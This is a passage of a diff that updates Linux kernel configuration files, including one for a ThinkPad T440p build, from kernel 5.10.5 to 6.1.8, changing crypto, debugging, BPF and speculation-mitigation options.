CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -2859,7 +3086,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -2868,9 +3094,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2891,6 +3134,7 @@ CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2907,8 +3151,10 @@ CONFIG_NEED_DMA_MAP_STATE=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set +# CONFIG_DMA_MAP_BENCHMARK is not set CONFIG_SGL_ALLOC=y CONFIG_CHECK_SIGNATURE=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -2930,7 +3176,6 @@ CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2942,6 +3187,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=6 @@ -2952,25 +3198,31 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +CONFIG_DEBUG_MISC=y + # # Compile-time checks and compiler options # CONFIG_DEBUG_INFO=y +CONFIG_AS_HAS_NON_CONST_LEB128=y +# CONFIG_DEBUG_INFO_NONE is not set +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +CONFIG_DEBUG_INFO_DWARF4=y +# CONFIG_DEBUG_INFO_DWARF5 is not set # CONFIG_DEBUG_INFO_REDUCED is not set # CONFIG_DEBUG_INFO_COMPRESSED is not set # CONFIG_DEBUG_INFO_SPLIT is not set -CONFIG_DEBUG_INFO_DWARF4=y -# CONFIG_DEBUG_INFO_BTF is not set CONFIG_GDB_SCRIPTS=y -# CONFIG_ENABLE_MUST_CHECK is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -2992,15 +3244,22 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -CONFIG_DEBUG_MISC=y +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +# CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y @@ -3008,7 +3267,7 @@ CONFIG_ARCH_HAS_DEBUG_WX=y CONFIG_GENERIC_PTDUMP=y # CONFIG_PTDUMP_DEBUGFS is not set # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set +# CONFIG_SHRINKER_DEBUG is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -3020,11 +3279,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -3038,16 +3302,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -3081,6 +3342,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set CONFIG_STACKTRACE=y # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3093,6 +3355,7 @@ CONFIG_STACKTRACE=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -3104,36 +3367,40 @@ CONFIG_STACKTRACE=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -3168,26 +3435,28 @@ CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_LKDTM is not set -# CONFIG_TEST_LIST_SORT is not set # CONFIG_TEST_MIN_HEAP is not set -# CONFIG_TEST_SORT is not set +# CONFIG_TEST_DIV64 is not set # CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_TEST_REF_TRACKER is not set # CONFIG_RBTREE_TEST is not set # CONFIG_REED_SOLOMON_TEST is not set # CONFIG_INTERVAL_TREE_TEST is not set # CONFIG_PERCPU_TEST is not set # CONFIG_ATOMIC64_SELFTEST is not set # CONFIG_TEST_HEXDUMP is not set +# CONFIG_STRING_SELFTEST is not set # CONFIG_TEST_STRING_HELPERS is not set # CONFIG_TEST_STRSCPY is not set # CONFIG_TEST_KSTRTOX is not set # CONFIG_TEST_PRINTF is not set +# CONFIG_TEST_SCANF is not set # CONFIG_TEST_BITMAP is not set # CONFIG_TEST_UUID is not set # CONFIG_TEST_XARRAY is not set -# CONFIG_TEST_OVERFLOW is not set +# CONFIG_TEST_MAPLE_TREE is not set # CONFIG_TEST_RHASHTABLE is not set -# CONFIG_TEST_HASH is not set +# CONFIG_TEST_SIPHASH is not set # CONFIG_TEST_IDA is not set # CONFIG_TEST_LKM is not set # CONFIG_TEST_BITOPS is not set @@ -3200,12 +3469,19 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_SYSCTL is not set # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set +# CONFIG_TEST_DYNAMIC_DEBUG is not set # CONFIG_TEST_KMOD is not set # CONFIG_TEST_MEMCAT_P is not set -# CONFIG_TEST_STACKINIT is not set # CONFIG_TEST_MEMINIT is not set # CONFIG_TEST_FREE_PAGES is not set # CONFIG_TEST_FPU is not set +# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-t440p.config b/config/linux-t440p.config index 2ba0a56af..3f5cc9cb0 100644 --- a/config/linux-t440p.config +++ b/config/linux-t440p.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -62,6 +66,7 @@ CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y CONFIG_GENERIC_MSI_IRQ_DOMAIN=y +CONFIG_IRQ_MSI_IOMMU=y CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y CONFIG_IRQ_FORCED_THREADING=y @@ -78,6 +83,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -89,11 +96,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -117,7 +139,6 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 @@ -134,12 +155,15 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set -CONFIG_RELAY=y +# CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" CONFIG_INITRAMFS_ROOT_UID=0 @@ -154,13 +178,13 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -168,7 +192,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -184,10 +207,8 @@ CONFIG_IO_URING=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y # CONFIG_KALLSYMS is not set -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -200,17 +221,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -232,17 +242,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y @@ -253,12 +256,10 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -# CONFIG_RETPOLINE is not set # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -293,11 +294,13 @@ CONFIG_CPU_SUP_INTEL=y CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 CONFIG_NR_CPUS=32 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y @@ -308,7 +311,6 @@ CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y CONFIG_X86_MCE_THRESHOLD=y -CONFIG_X86_THERMAL_VECTOR=y # # Performance monitoring @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -329,16 +330,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set @@ -356,22 +355,32 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -386,13 +395,13 @@ CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y -CONFIG_ACPI_VIDEO=y CONFIG_ACPI_FAN=y # CONFIG_ACPI_DOCK is not set CONFIG_ACPI_CPU_FREQ_PSS=y @@ -420,9 +429,11 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set # CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set +CONFIG_ACPI_PRMT=y CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -446,6 +457,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -475,57 +488,15 @@ CONFIG_PCI_DIRECT=y # CONFIG_PCI_CNB20LE_QUIRK is not set # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -# CONFIG_FIRMWARE_MEMMAP is not set -# CONFIG_DMIID is not set -# CONFIG_DMI_SYSFS is not set -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_ISCSI_IBFT is not set -# CONFIG_FW_CFG_SYSFS is not set -CONFIG_GOOGLE_FIRMWARE=y -# CONFIG_GOOGLE_SMI is not set -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set - -# -# EFI (Extensible Firmware Interface) Support -# -# CONFIG_EFI_VARS is not set -CONFIG_EFI_ESRT=y -CONFIG_EFI_RUNTIME_MAP=y -# CONFIG_EFI_FAKE_MEMMAP is not set 